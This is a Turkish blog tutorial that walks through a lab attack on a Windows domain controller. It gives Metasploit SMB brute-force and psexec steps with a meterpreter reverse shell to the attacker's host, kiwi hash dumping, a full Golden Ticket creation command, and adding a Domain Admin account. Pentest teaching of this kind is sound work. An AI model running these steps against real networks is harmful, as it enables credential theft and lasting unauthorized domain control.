Golden Ticket ile Hedef Domain Controller’ı Ele Geçirme ve Yetki Yükseltme

Merhaba arkadaşlar,

Bu makalemizde ve Domain Controller yapısına sahip bir etki alanina sızma,sızılan etki alanında Golden Ticket oluşturma,Kullanıcı oluşturma Domain Admin grubuna üye yapma ve bu açıklıklardan faydalanma ile alakalı uygulamalı bir örnek yapacağız.

Kurum içerisinde dışarıdan Domain Controller sistemlerine yapılan saldırılarda eğer kullanıcı hesabı ele geçirilmiş ise erişim sağlandıktan sonra, gerçekleştirilen adımlardan birisi de eğer herhangi bir yetkili kullanıcı hesabı ele geçirilmiş ise bu elde edilen yetkili erişimin sürekliliğini sağlanabilmesidir.Bunu sağlamaktaki genel mantık eğer güvenlik sistemleri bu durumu farketmiyor ise sürekli olarak bağlantıyı açık tutmak ve sistemin kontrolünü sağlamaktır.

Bu makalemizde Meterpreter kullanarak (shell üzerinden oturum açarak)  Brute force yöntemi ile ele geçirilmiş bir yetkili hesap vasıtası ile erişim sağlanan etki alanı denetleyicisinde Meterpreter üzerinde kurulacak kiwi eklentisi ile Golden Ticket oluşturma bunun yanında oluşturduğumuz Golden Ticket sayesinde sisteme herhangi bir zaman aralığında sistem yönetim hakları ile normal bir makinada kullanılacak hesap ile etki alanında yetkili erişime tekrardan sahip olma mantığını sizler ile paylaşıyor olacağım.

Domain etki alanı içerisindeki herhangi bir yetkili hesabın ele geçirilmesi durumunda saldırganın etki alanında bulunan her obje üzerinde yönetimsel bir yetkisi olacağından ötürü oldukça tehlikeli bir durumdur.Tabi iş sadece tek bir domain ile alakalı olmayabilir.Eğer kuruluşunuzda Child Domainler var is eve bunların ana domain yapısı ile Trust ilişkisini düşünür isek saldırganın elde edebileceği yetkinin ne kadar geniş bir Alana hükmedeceğini söylemek yanlış olmaz.

Etki alanı yöneticilerinin hakları genelde herhangi bir saldırı veya kontrollü olarak denenen pentest uygulaması ile 2 şekilde ele geçirilebilmektedir;

*Kurum içerisindeki Yöneticinin Hesap bilgileri ele geçirildikten sonra Brute Force yapılarak hesap bilgileri ve Domain Controller üzerindeki yetkili kişinin hesabını (token) bilgisi ele geçirilebilir. Bir kullanıcının token bilgisinin ele geçirilmesi ile beraber eğer ele geçirilen hesap sahibi bu durumu farketmemiş is eve gerekli önlemi almıyorsa zaman kısıtlaması olmaksızın istediği şekilde ele geçirdiği yetkiyi suistimal edebilir.

 *Bunun dışında Golden Ticket’I elde eden saldırgan eğer ortamda Microsoft ATA /SCOM tarzı veya onun muadili benzeri bir kontrol aracı yok ise (yetki verildiğinde mail atması veya yöneticinin bilgilendirilmesi) yeni bir hesap açarak kendisi için yetkilendirmeyi devir alabilir.Tabi bu noktada saldırgan elde ettiği yönetici yetkisi ile bu alarmlara takılmadan iş yapmaya çalışması daha mantıklı olucaktır.

Tabi her güzel ele geçirmenin bir gün sona ermesi felsefesi ile baktığımızda,Saldırganın hükmü ele geçirdiği yetkili hesabının şifresinin değiştirilmesine kadardır mantığı ile Golden Ticket veya kullanıcının şifresinin/biletin resetlenmesi durumunda yetkiler kaybedilebilmektedir.

İlk Adım:Test için LAB Ortamının Hazırlanması

Öncelikle test işlemlerimizi gerçekleştirmek için bir lab ortamı oluşturmanızı tavsiye ederim.Eğer canlı bir sistem üzerinde bunu test ediceksenizde ilgili domain controller’in yedeğini almanızı öneririm.

Uygulamayı gerçekleştirebilmek için Windows Server 2016  kurulumu gerçekleştirdim. Bu cihazda bir Active Directory kurarak kendi “test.com” adında bir domain oluşturdum. Artık merkezi bir yönetim sistemim ve domain’im bulunmakta.

Hedef aldığım sistemi ele geçirip Golden Ticket oluşturabilmem için 4 aşamayı tamamlamış olmam gerekiyor.

1.Aşama hedef sistemin etki alanı ismini öğrenme.

2.Aşama hedef sistemin genel bilgileri alındıktan sonra tarama sonrası gerekli zafiyetleri tespit etme.

3.Aşama taranan sistemde zafiyeti kullanarak kullanıcı hesaplarının hash ve SID bilgilerini ele geçirme

4.Aşama Controller üzerindeki krbtgt hesabının NT Hash değerini elde etme.

Saldıran:Kali Linux 2020.2 (Ip Adresi:192.168.1.54)

Savunan:Windows Server 2016 Domain Controller (Ip Adresi:192.168.1.216)

1.Adım Nmap ile Zafiyet Taramasının Yapılması

Hedef sistemimiz ile alakalı olarak bilgileri aldıktan sonra sıra Nmap (Port Scanner) kullanarak hedef sistem içerisinde herhangi bir zafiyet mevcutmu bunları kontrol ediyoruz.

Kali Linux sistemimizin Terminal komut satırına “sudo nmap -sS -Pn -A 192.168.1.216” komutunu yazarak taramayı başlatıyoruz. Bu tarama sonucunda dikkatimizi 445 numaralı Microsoft-ds portu çekiyor.Microsof-ds portunun meali üzerinde SMB protokolünün çalışmasıdır. Bu protokol her ne kadar dosya paylaşım protokolü olarak gözüksede bir diğer özelliği Windows sistemlerde istemci ile kimlik doğrulama protokolü arasındaki iletişimi sağlar. Bu nedenle SMB protokolü üzerinden oturum bağlantısı elde edebiliriz.445.portun açık olduğunu öğrendiğimize göre şimdi diğer adıma geçebiliriz.

Zafiyet olarak adlandırdığımız SMB dosya paylaşım özelliğini kullanabilmek için Metasploit konsolundan smb ile ilgili modül olarak “smb_login” exploit’inden yararlanacağız.Bunun için Metasploit konsoluna girdikten sonra “use auxiliary/scanner/smb/smb_login” komutunu çalıştırıyoruz.

Auxiliary Smb_login keşif aracına girdikten sonra Show Options sekmesinden değiştirilmesi gereken yerleri sarı ile işaretledim.

SMB Domain:Ortamdaki Domain Controller etki alan adı.

SMB Pass: SMB servisinde yetkili olan kullanıcı.

SMB User: SMB servisinde yetkili olan kullanıcı şifresi.

USERPASS_FILE:Eğer elinizde yetkili bir kullanıcı bilgisi varsa ama şifresini bilmiyor iseniz,hazırladığınız Brute Force şifre listesi ile şifreyi kırmayı deneyebilirsiniz.

Not:Ben UserPASS ve User_FILE kullanmadım çünkü amaç burda bu zafiyetin mimarisini anlatmak.Eğer siz SMB Kullanıcısını tespit etmek ve şifresini kırmak istiyorsanız bu FILE ları path olarak set ederek Account denemeleri ile yetkili SMB hesabının şifresini ele geçirebilirsiniz.

Gerekli bilgileri girdikten sonra run diyerek Exploit keşif aracını çalıştırıyoruz.Yukarıda göründüğü gibi ele geçirdiğimiz yetkili kullanıcı ile bağlantı girişimini denediğimizde hedef makinaya bağlantı yetkisine sahip durumda ve bağlantı yapabiliyor.

SMB servisi üzerindeki login Auth. Testinden sonra sıra geldi bu zafiyeti kullanarak arka kapı (backdoor) açmak.Bunun için sistemin terminal tarafına giriş yaparak zafiyeti kendi çıkarımız için kullanmamız lazım.Bunun için Metasploit programının Exploit modülünü kullanaracağız.Bunun için “use/exploit/windows/smb” yazrak 2 defa TAB tuşuna bastığımızda bize SMB modülü ile alakalı hangi zafiyetler var bunların listesini göstermekte.Biz burada Terminal bağlantı modülü olan (psexec) aracını kullanarak hedef sistemin CMD (Komut satırına) bağlanacağız.

Exploit kısmındaki hangi araç ile zafiyeti kullanacağımızı belirledikten sonra sıra geldi Reverse TCP Shell methodunu kullanarak hedef makinada backdoor oluşturmak için “set payload windows/meterpreter/reverse_tcp” payloadını Exploit’imize ekliyoruz.

Keşif girişlerinin yanısını Exploit modülümüzede giriyoruz.Bu kısımda ek olarak Reverse_tcp üzerindeki source Host ve Source Port’ları girmemiz gerekiyor.bunun için “set lhost (saldıranın ip adresi)” ile “set lport (saldıranın açmak istediği port numarasını)” yazarak run komutunu çalıştırıyoruz.Görüldüğü üzere bağlantı sağlanmış ve meterpreter session açılmış durumdadır.

Meterpreter session açıldıktan sonra sıra geldi hash dumplarını elde edebilmek için Kiwi uygulamasını yüklemeye.Bunun için load kiwi komutunu kullanarak Backdoor açtığımız sisteme kiwi uygulamasını gönderip çalıştırıyoruz.

Hedef makinaya CMD üzerinden bağlantı sağlayabilmek için “shell” komutunu kullanmaktayız.Shell komutu ile bağlandıktan sonra ilk yapacağımız iş kullanıcıların sid bilgilerini elde etmektir.

Peki bizim bu kadar uğraştığımız ve elde etmek istediğimiz ayrıca kullanacağımız Kullanıcı SID’si nedir bundan biraz bahsetmek gerekir ise;

Microsoft sistemlerinde terim olarak aşina olduğumuz Authentication ile Authorization mimarisinin ana mantığı hepsinin tekil bir SID’ye göre tanımlanmasıdır. Örnek vermek gerekir ise her oluşturduğumuz objenin sistem üzerinde benzersiz bir SID’si vardır. Bu benzersizliği esas yaratan olgu ise her SID mantığının altyapısında bir RID mantığının yatmasıdır.Esasında bizimde hedef aldığımız makinanın ram üzerinde tutulan işte bu benzersiz hash ve sid kayıtlarını almak ve kendimizi o SID ile beraber Golden Ticket bilgilerini ele geçirmektir.

Peki komut satırında gördüğümüz (yukarıdaki) komut dizilimi bize neyi anlatıyor ?

S: SID olduğunu belirtiyor.

1: Revision ID’si

5: Authority ID (NT olduğunu belirtiyor.)

21: Domain ID (Builtin yani local olduğunu gösteriyor kullanıcının)

502 : RID ( 502 ve varsayılan olarak etki alanındaki Kullanıcılar OU’sunda)

Şimdi yukarıda Meterpreter ile kullanıcıların SID’sini aldık.Shell’den exit diye çıkıp Meterpreter konsoluna geri dönüyoruz.Burada session açılmış olan kullanıcıyı bulmak için Meterpreter üzerinde “ps” komutunu kullanarak şu an hangi hesapların hangi process’leri kullanadığına bakıyor olacağız.Ondan sonra belirlediğimiz kullanıcının çalıştırdığı bir servis işlemi varsa onun ID’sini alarak hash değerini elde etmeye çalışacağız.

Meterpreter > ps komutunu çalıştırdığımızda bir nevi task manager gibi bir process listesi bize gelicektir.Bu kısımda biz Administrator yetkisine sahip kullanıcının process id sini bulacağız.Sarı ile işaretlediğim 1860 process id sini migrate ediyorum ve hashdump komutu ile o process edilen işlem üzerindeki kullanıcının hashdump bilgisini çekiyorum.

Bu komutla “YeniKullanici” adlı bir hesap için RID değeri 500, 502 ve 512 olacak şekilde bir bilet oluşturulması için bu komutu  “golden_ticket_create -d test.com -g 500, 502, 512 – k f3eb823502b21921ada499dc8efdf495 -s S-1-5-21-2382151730-3027991369-44631411 -u YeniKullanici -t /root/GoldenYeniKullanici.krbtgt” yazarak hedef sisteme tanımlıyoruz. Böylece, Aktif Dizin üzerinde var olmayan bir kullanıcı için bir Kerberos bileti oluşturabilen bir nesne oluşturulmuştur. Kısacası Golden Ticket, bit çeşit sahte KDC (Key Distribution Center) olarak davranarak geçerli bir TGT oluşturacaktır.

Meterpreter oturumunda sıradaki adım ise backdoor oluşturduğumuz sistem içerisinde kerberos biletlerini listelemek için “kerberos_ticket_list” komutunu yazıyoruz.Var olan Kerberos biletlerini silmek için  “Purge” komutunu kullanıyoruz. Kerberos Bilet listesini silip tekrar “kerberos_ticket_use /root/Golden_Yenikullanici.krbtgt” yazdıp oluşturduğumuz “YeniKullanici” yi görebiliyoruz.Tabi burda dikkatimizi çeken kısım Golden Ticket süresinin 10 sene olması.

Yukarıdaki resimde görülen durumu açıklamak gerekir ise Shell atarak DC üzerindeki share paylaşımına girme denememizin asıl amacı oluşturduğumuz golden ticket yetkisinin çalışıp çalışmadığının kontrol edilmesidir.Domain ortamında eğer yetkisiz bir kullanıcıya sahipseniz Controller üzerindeki share klasörlerine erişemezsiniz.Bizim oluşturduğumuz ticket sayesinde artık shell oturumunda çalıştırdığımız komut ile DC Share alanina erişim sağlayabilmekteyiz.

Meterpreter üzerinden tekrar shell atarak sırası ile yukarıdaki gibi kullanıcı ve kullanıcının olacağı yetki grubunu ekleyerek yetki yükseltmemizi sağlıyoruz.

Gördüldüğü üzere Domain Controller yönetim makinamızın içerisinde yer alan Active Directory Users & Computers aracı ile kontrol ettiğimizde uzak bağlantı ile kullanıcı oluşturulup Domain Admins yetkisi verilmiş olduğunu görüyoruz.

Domain Controller üzerindeki hesapların özellikle yetkili hesapların güvenliği oldukça önem arz etmektedir.Bu tarz saldırılar geri dönülemez telafisi olmayan noktalara sistemlerinizi götürebilir.

Bir cevap yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir

error: Content is protected !!